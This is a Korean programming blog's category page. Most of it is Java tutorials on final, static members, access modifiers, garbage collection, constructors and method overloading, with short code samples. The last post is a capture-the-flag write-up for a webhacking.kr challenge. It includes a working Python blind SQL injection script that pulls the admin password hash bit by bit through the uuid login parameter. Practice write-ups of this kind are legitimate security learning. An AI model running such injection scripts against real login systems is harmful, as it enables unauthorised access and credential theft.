'분류 전체보기'에 해당되는 글 438건

final

Develope/Java 2020. 5. 11. 21:54
반응형

final이라는 키워드를 한마디로 표현하자면 "변화를 허용하지 않는다!"라고 생각하고 접근하면 쉽다.


final 이라는 키워드가 사용될 수 있는 곳은 세 군데이다.

1) final 클래스

2) final 메소드

3) final 필드, 상수 정의


이에 대해 하나씩 살펴보도록 하자.


1) final 클래스

 : final이 클래스 이름 앞에 사용되면 해당 클래스를 상속받을 수 없음을 지정한다.


1
2
3
4
5
6
7
final class FinalClass {
    ...
}
 
class rootable extends FinalClass { // 컴파일 오류 
    ...
}
cs


2) final 메소드

 : 메소드 앞에 final 속성이 붙으면 이 메소드는 더 이상 오버라이딩할 수 없음을 지정한다.

 : 자식 클래스가 부모 클래스의 메소드를 오버라이딩하지 못하게 하고 무조건 상속받아서 사용하도록 하고자 한다면 해당 메소드를 final로 지정하면 된다.

1
2
3
4
5
6
7
public class FinalClass {
    protected final int finalMethod() { ... }
}
 
class rootable extends FinalClass { 
    protected int finalMethod() { ... } // 컴파일 오류, 오버라이딩 불가 
}
cs


3) final 필드, 상수 정의

 : 자바에서 상수를 정의할 경우에는 필드에 final 속성을 붙이는 것으로 한다.

1
2
3
4
5
6
7
8
9
public class FinalClass {
    final int ROW=10;    // 상수 정의 및 초깃값 설정
    final int COL;        // 컴파일 오류, 초기값이 설정되지 않았음
 
    void f() {
        int[] intArray = new int[ROW];    // 상수 활용
        ROW = 30;        // 컴파일 오류, 상수는 값 변경이 불가능함.
    }
}
cs


※ final로 상수 필드 정의 시 주의할 점

 - 상수 필드는 선언 시 초깃값을 지정해야 한다.

 - 상수 필드는 한 번 정의될 경우 값을 변경할 수 없다.

 - 클래스 내부에서 final 키워드만 이용할 경우 해당 클래스 객체들만 이용할 수 있으므로, 프로그램 전체에서 사용할 상수일 경우 static 키워드와 함께 사용하여야 한다. ( 보통 프로그램 전체에서 사용할 상수는 public static final로 선언한다)

반응형

'Develope > Java' 카테고리의 다른 글

Java의 정석 정리 - 1장 자바를 시작하기 전에  (0) 2020.06.28
끝말잇기 게임  (0) 2020.05.14
static 멤버  (0) 2020.05.11
접근 지정자  (0) 2020.05.10
가비지와 가비지 컬렉션  (0) 2020.05.10
블로그 이미지

rootable

,

static 멤버

Develope/Java 2020. 5. 11. 00:36
반응형

※ non-static 멤버와 static 멤버

멤버 변수를 분류하라고 한다면 non-static 멤버와 static 멤버로 분류할 수가 있다.

여기서 static 멤버란 객체를 생성하지 않고도 사용할 수 있는 멤버를 말한다.


그렇다면 이와 반대인 non-stiatic 멤버는?

예상한대로, 객체를 생성해야지만 사용할 수 있는 멤버이다. 


※ 특징

1) static 멤버

 - 클래스당 하나만 생성

 - 객체 내부가 아닌 별도의 공간에 생성되어 동일한 클래스의 모든 객체들이 공유 (=일종의 전역변수같은 개념)

 - 프로그램이 실행되자마자 생성되기 때문에 객체가 생성되기 전에도 static 멤버는 사용이 가능하며, 프로그램 종료까지 접근 가능

 - 클래스당 하나씩 생긴다고 하여 클래스 멤버라고도 부름.


2) non-static 멤버

 - 객체당 하나씩 생성

 - 객체마다 자신의 고유한 멤버 공간을 가지며 공유하지 않음

 - 객체가 사라지면 non-static 멤버도 함께 사라지며 더 이상 접근이 불가능함

 - 각 객체마다 하나씩 생긴다고 하여 인스턴스 멤버라고도 부름.



※ static 멤버 사용

1번째 방법 : 객체명 이용

 - static 멤버 또한 멤버이기 때문에 일반적인 멤버 변수 사용법처럼 객체명을 이용하여 접근이 가능하다.

객체.static필드

객체.static메소드


2번째 방법 : 클래스명 이용

 - static 멤버의 경우 클래스당 하나만 존재하기 때문에 클래스명을 이용해서도 접근이 가능하다.

클래스명.static멤버


예를 들자면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class staticSample{
    public static int id;
}
 
public class rootable {
    public static void main(String[] args){
        staticSample.id=31337;
        System.out.println(staticSample.id);  // id's value=31337
        
        staticSample smp1=new staticSample();
        smp1.id=1004;
        System.out.println(staticSample.id);  // id's value=1004
    }
}
cs

클래스 staticSample에 static 멤버 id를 선언해줄 경우 클래스명 staticSample을 이용해서 해당 static 멤버에 접근이 가능하며, 객체를 생성하여 해당 객체명인 smp1을 이용해서도 접근이 가능하다.


※ static 활용

1) 전역 변수나 전역 함수를 만들 때 사용

 - JAVA의 경우 캡슐화의 원칙 때문에 어떠한 변수나 함수도 클래스 밖에 존재할 수 없으며 클래스의 멤버로 존재해야 한다. 하지만 프로그래밍을 하다보면 가끔 전역 변수나 전역 함수가 필요할 때가 있는데 이를 해결하기 위한 것이 바로 static이다.

 - 대표적으로 java.lang.Math 클래스의 경우 다음과 같이 객체 생성 없이 바로 static 멤버를 사용한다.

int n = Math.abs(-5);


2) 공유 멤버를 만들고자 할 때 활용

 - static으로 선언된 필드나 메서드는 모두 이 클래스의 각 객체들의 공통 멤버가 되며 공유가 된다.


※ static 메소드의 제약 조건

1) static 메소드는 오직 static 멤버만 접근할 수 있다.

 - static 메소드는 객체가 생성되기 이전에도 접근이 가능하므로 인스턴스 메소드, 인스턴스 필드를 사용할 수 없다.

 - 인스턴스 메소드는 static 멤버를 모두 사용할 수 있다.


2) static 메소드에서는 this 키워드를 사용할 수 없다.

 - this 레퍼런스란 호출 당시 실행 중인 객체를 가리키는 것인데, static 메소드는 객체가 생성되지 않은 상황에서도 클래스 이름을 이용하여 접근이 가능하므로 this 레퍼런스를 사용할 수 없다. static 메소드를 호출하였을 때 생성된 객체가 하나도 존재하지 않을 가능성이 있기 때문이다.

1
2
3
4
5
6
7
8
class StaticSample{
    int n;
    static int m;
    void f1(int x){ this.n=x; }
    void f2(int x) { this.m=x; }
    static void s1(int x) { n=x }; // static 메소드는 instance 필드 사용 불가
    static void s2(int x) { this.n=x; } // static 메소드에서 this 사용 불가
}
cs


반응형

'Develope > Java' 카테고리의 다른 글

끝말잇기 게임  (0) 2020.05.14
final  (0) 2020.05.11
접근 지정자  (0) 2020.05.10
가비지와 가비지 컬렉션  (0) 2020.05.10
생성자(constructor)  (0) 2020.05.09
블로그 이미지

rootable

,

접근 지정자

Develope/Java 2020. 5. 10. 18:27
반응형

※ 접근 지정자

 : JAVA와 같은 객체 지향 언어의 경우 접근 지정자가 존재한다. 이는 객체를 캡슐화하기 때문으로서, 다른 객체가 접근하는 것을 허용할 것인지 아닌지에 대해 지정할 필요가 있다.


 - 자바에서의 접근 지정 방식은 총 4개이다.

 1) private

 2) protected

 3) public

 4) 접근 지정자 생략(default)


※ 클래스 접근 지정자

 : 클래스 접근 지정이란 다른 클래스에서 해당 클래스 이름을 사용할 수 있는지 허용 여부를 지정하는 것을 말한다.

 : 클래스 접근 지정자는 클래스 선언 부분에 작성되며 publicdefault 2가지가 있다.


 - public : public으로 선언된 클래스는 다른 클래스에서도 사용할 수 있다.

 - 접근 지정자 생략(default) : 같은 패키지 내에 있는 클래스들만이 default 접근 지정자로 선언된 클래스로의 접근이 허용된다.


※ 멤버 접근 지정자

 : 클래스의 멤버인 필드와 메소드의 접근 지정자는 총 4가지가 있다.

멤버에 접근하는 클래스

멤버 접근 지정자

public

protected

private

default

같은 패키지의 클래스

O

O

X

O

다른 패키지의 클래스

O

X

X

X


 - public : 패키지의 내부, 외부 등 모든 클래스에서 해당 멤버에 접근이 가능

 - private : 비공개를 의미하는 것으로, 같은 클래스 내부 멤버에 의해서만 접근이 가능

 - protected : 보호된 공개를 의미하는 것으로, 두 가지 경우의 클래스에만 공개

  1) 같은 패키지 내의 모든 클래스에서 접근 가능

  2) 다른 패키지의 클래스라도 해당 클래스를 상속받은 자식 클래스의 경우 접근 가능

 - default(또는 package-private) : 접근 지정자가 생략된 경우 default 접근 지정자가 선언되었다고 하며, 이 경우 동일한 패키지 내에 있는 모든 클래스는 default 멤버에 자유롭게 접근이 가능함.


※ get/set 메소드

 private 접근 지정자로 되어 있는 경우, 해당 멤버에는 접근이 불가능하다. 이를 위해 해당 클래스에서 get, set 메소드를 다른 접근 지정자로 생성하여 해당 멤버들에 접근이 가능하도록 만들어준다.

1
2
3
4
5
6
7
8
9
10
11
class rootable{
    private int id;
 
    public int getId(){
        return id;
    }
    
    public int setId(int value){
        id=value;
    }
}
cs


반응형

'Develope > Java' 카테고리의 다른 글

final  (0) 2020.05.11
static 멤버  (0) 2020.05.11
가비지와 가비지 컬렉션  (0) 2020.05.10
생성자(constructor)  (0) 2020.05.09
메소드 오버로딩과 this  (0) 2020.05.06
블로그 이미지

rootable

,
반응형

※ 가비지(garbage)

 : 가비지란 더 이상 사용하지 않는 객체나 배열 메모리를 뜻하며, 여기서 더 이상 사용하지 않는다는 것은 해당 객체나 배열을 가리키는 레퍼런스가 존재하지 않는다는 것을 의미한다.

1
2
3
4
Person a, b;
= new Person("철수");
= new Person("영희");
b=a; // b가 가리키던 영희에 해당하는 객체는 가비지가 된다.
cs


※ 가비지 컬렉션(garbage collection)

 : 가비지가 많아지면 자바 가상 머신(JVM)에서 응용프로그램에게 할당해줄 수 있는 가용 메모리의 양이 줄어들게 되고, 가용 메모리 양이 0이 될 경우 자바 응용프로그램은 더 이상 실행할 수 없게 된다.

 이런 경우를 대비하여 JVM에서 가용 공간이 일정 크기 이하로 줄어들게 되면 자동으로 가비지를 회수하여 가용 메모리 공간을 늘리는데 이것을 바로 가비지 컬렉션(garbage collection)이라고 한다.


 - 가비지 컬렉터(garbage collector) : 가비지 컬렉션을 수행하는 주체

 - 가비지 컬렉션 스레드(garbage collection thread) : 가비지 컬렉터 역할을 수행하는 JVM의 스레드


 : 자바 가상 머신의 내부 알고리즘의 판단에 의해 가비지 컬렉션이 수행되므로 언제 컬렉션이 일어나는지는 판단하기 어렵다.

 : 규모가 큰 프로그램의 경우 가비지가 많이 생산될 확률이 높은데 이 때에는 가비지 컬렉터가 실행되어 자바 프로그램의 실행을 멈추고 가비지 컬렉션이 끝날 때를 기다리게 된다. 이 것을 사용자에게는 프로그램이 중단된 것으로 보이기 때문에, 자바는 실시간 처리 응용에는 부적합한 것으로 알려져 있다.


※ 가비지 컬렉션 강제 수행

 : 응용프로그램에서 System 또는 Runtime 객체의 gc() 메소드를 호출하여 강제로 가비지 컬렉션을 수행할 수 있다.

1
System.gc();
cs


: 위의 문장을 작성한다고 바로 가비지 컬렉션이 수행되는 것은 아니다. 위의 문장은 JVM에게 가비지 컬렉션이 필요한 상황이라고 강력히 주장하는 것이므로 실제로 수행되는 것은 JVM이 전적으로 판단하여 적절한 시점에 수행된다.

반응형

'Develope > Java' 카테고리의 다른 글

static 멤버  (0) 2020.05.11
접근 지정자  (0) 2020.05.10
생성자(constructor)  (0) 2020.05.09
메소드 오버로딩과 this  (0) 2020.05.06
JAVA 5일차  (0) 2020.04.12
블로그 이미지

rootable

,
반응형

※ 생성자의 개념

 : 생성자는 객체가 생성될 때 초기화를 위해 실행되는 메소드이다. 조금 더 자세히 설명하자면 하나의 객체가 생성이 될 때 필드들의 메모리 공간이 할당되지만 값을 가지지는 못한 상태인데 이 생성자를 호출하여 필드들의 값을 설정해주는 것이다.


생성자의 정의와 호출

 - 생성자는 객체가 생성되는 순간에 자동으로 호출된다.

 - 생성자의 이름은 클래스의 이름과 동일하다.

 - 생성자는 오버로딩(overloading)이 가능하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class rootable {
    int id;
    public rootable(int x) {        // 생성자 이름은 클래스 이름과 동일
        this.id = x;
    }
    public rootable() {            // 생성자는 리턴 타입 없음
        this.id = 0;
    }
 
    public static void main(String[] args) {
        rootable ob1 = new rootable(3);    // new를 통해 객체를 생성할 때만 생성자가 호출됨.
        rootable ob2 = new rootable();    
        rootable i;
    }
} 
cs


※ 기본 생성자

 : 기본 생성자(default constructor)란 인자도 없고 실행 내용도 없이 단순 리턴하는 생성자이다.

 : 이 기본 생성자를 디폴트 생성자라고도 한다.

1
2
3
public class rootable{
    public rootable() { } // 기본 생성자 
}
cs


 - 객체가 생성될 때에는 생성자가 호출되어야 하기 때문에 클래스에는 최소한 하나의 생성자가 선언되어야 한다. 이러한 이유 때문에 만약 개발자가 따로 생성자를 선언해주지 않았다면 컴파일러가 기본 생성자를 자동으로 생성해준다.

 - 하지만 기본 생성자가 항상 자동으로 생성되는 것은 아니다. 만약 개발자가 하나라도 생성자를 선언하였을 경우에는 컴파일러가 기본 생성자를 만들지 않기 때문에 기본 생성자 호출 시에는 컴파일 에러가 발생된다.


※ this()

 : this()는 한 클래스 내에서 한 생성자에서 다른 생성자를 호출할 때 사용하는 자바 코드


 - 주요 특징 3가지

 1) this()는 생성자 코드에서만 사용할 수 있다.  → 생성자가 아닌 일반 메서드에서는 this() 사용 불가

 2) this()는 동일한 클래스 내의 다른 생성자를 호출할 때 사용한다.

 3) this()는 반드시 생성자의 첫 번째 문장에서 사용되어야 한다. ← 첫 번째 문장이 아니면 컴파일 오류 발생


객체의 소멸

 : 자바에는 new를 통해 객체를 생성하고, 생성 시 호출되는 생성자를 정의할 수는 있지만 이와 반대로 객체를 소멸시키고, 소멸될 때 호출되는 소멸자 메소드라는 것은 JAVA에 존재하지 않는다.

 → 객체의 소멸은 개발자가 따로 작성할 필요 없이 자바 가상 머신(JVM)의 가비지 컬렉터(garbage collector)에 의해 적절한 시점에 자동으로 수집되어 가용 메모리에 리턴된다.

반응형

'Develope > Java' 카테고리의 다른 글

접근 지정자  (0) 2020.05.10
가비지와 가비지 컬렉션  (0) 2020.05.10
메소드 오버로딩과 this  (0) 2020.05.06
JAVA 5일차  (0) 2020.04.12
JAVA 4일차  (0) 2020.04.01
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

※ 접근지정자

 - public : 클래스 내부/외부에서 모두 호출 가능

 - private : 클래스 내부 맴버들만 호출 가능

 - protected : 클래스 내부 메소드들은 호출 가능하며, 다른 클래스 중 상속받은 서브클래스만 호출 가능

 - 생략 : Default로는 동일한 패키지 내의 모든 클래스가 호출 가능


※ 인자 전달 (argument passing)

 : 자바의 메소드 호출 시 인자 전달 방식은 어떠한 타입이 전달되느냐에 따라 달라지게 된다.


 1) 기본 타입이 인자로 전달되는 경우 : 호출자(caller)가 건네는 인자의 값을 복사하여 인자로 전달된다.

  → 기존의 값과는 전혀 관련이 없으므로 호출자에서는 메서드에 어떠한 코드가 있던지 그 값이 유지된다.


 2) 객체 레퍼런스가 인자로 전달되는 경우 : 객체를 가리키는 레퍼런스가 복사되어 전달된다.

  → 메서드에서 사용하는 인자와 호출자(caller)가 참조하는 레퍼런스 값이 같으므로 메서드 코드에 따라 기존의 값이 변경될 수 있다.


 3) 배열이 인자로 전달되는 경우 :  객체 레퍼런스와 동일하다.

  → 배열을 가리키는 객체 레퍼런스가 복사되어 전달된다고 생각하면 된다.


※ 메소드 오버로딩 (method overloading)

 : 메소드 오버로딩이란 한 클래스 내에서 메소드의 이름은 같지만 인자의 타입이나 개수가 서로 다른 여러 개의 메소드를 중복하여 작성하는 것이다. 이는 객체 지향적 특징 중 다형성의 한 종류이다.


 : 메소드 오버로딩을 하는 이유는 하나의 클래스에서 하나의 동작을 진행할 때 여러 case를 분류하여 표현하기 위함이다.

  - 예를 들어 덧셈을 하는 클래스의 경우 인자가 여러개일 경우도 있고, int형끼리 혹은 double형끼리 덧셈을 하는 경우도 존재하기 때문


 : 여러 개의 메소드가 메소드 오버로딩으로 성립되려면 조건을 모두 만족해야 한다.

 1) 메소드 이름이 동일하여야 한다.

 2) 메소드 인자의 개수가 서로 다르거나, 인자의 타입이 서로 달라야 한다.

 3) 메소드 이름, 인자의 개수와 타입이 모두 같을 경우 리턴 타입 혹은 접근 지정자가 다르다 하더라도 오버로딩이 성립되지 않으며 컴파일 오류가 발생한다. 이는 호출자(caller)의 입장에서 봤을 때 메서드를 구분할 수 있는 것은 메소드 이름과 인자의 개수,타입 뿐이기 때문이다.

 

※ this

 : this는 간단히 말하면 객체 자신을 가리킨다. 좀 더 자세히 말하자면, 현재 실행되는 메서드가 속한 객체에 대한 레퍼러스이다.

 : this는 컴파일러에 의해 자동으로 생성되기 때문에 별도로 this를 선언할 필요 없이 사용할 수 있다.


 : this의 필요성은 인자의 이름과 멤버의 이름이 같은 경우에서 알 수 있다.

  - 아래와 같은 메서드가 있다고 가정하자.

void set(int id) { id = id; }

  이럴 경우에는 두 개의 id 모두 인자로 정의된 id를 가리켜서 멤버 id 값을 바꿀 수가 없다. 따라서 다음과 같이 this를 이용하여 id가 멤버를 나타낸다는 것을 표현해주어야 한다.

void set(int id) { this.id = id; }


반응형

'Develope > Java' 카테고리의 다른 글

가비지와 가비지 컬렉션  (0) 2020.05.10
생성자(constructor)  (0) 2020.05.09
JAVA 5일차  (0) 2020.04.12
JAVA 4일차  (0) 2020.04.01
JAVA 3일차  (0) 2020.03.31
블로그 이미지

rootable

,
반응형

우선 ID와 PW를 test로 하여 회원가입을 하고 로그인을 시도하였다.

로그인 시 uuid 파라미터와 pw 파라미터에 SQL Injection을 시도한 결과 uuid 파라미터에서 터지는 것을 확인하였다.


먼저 간단하게 admin으로 로그인하기 위해 다음과 같이 시도하였지만 Wrong password!라고 떴다.


그래서 해당 문제를 풀기 위해서는 Blind SQL Injection을 통해 admin의 PW를 획득해야 함을 추측할 수 있다.


우선 조건이 참일 경우에는 다음과 같이 Wrong password!라고 출력된다.


조건이 거짓일 경우에는 Login Fail이라고 뜬다.


이 둘의 차이를 이용하여 admin의 PW의 hash 값을 찾을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
url="https://webhacking.kr/challenge/bonus-2/index.php"
flag=""
req_header = {'Content-Type':'application/x-www-form-urlencoded'}
 
for i in range(1,33):
    binary=''
    for j in range(1,8):
        req_data = {
            "uuid":"' or id='admin' and 1=substr(lpad(bin(ascii(substr(pw,"+str(i)+",1))),7,0),"+str(j)+",1)#",
            "pw":"test"
        }
 
        response = requests.post(url,data=req_data)
        print(response.request.body)
 
        if('Wrong' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs

결과로 출력된 해시값을 decrypt 해주면 PW가 출력된다. 접미사인 apple을 제외하고 로그인하면 solve!


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-13 writeup  (0) 2020.04.22
webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
블로그 이미지

rootable

,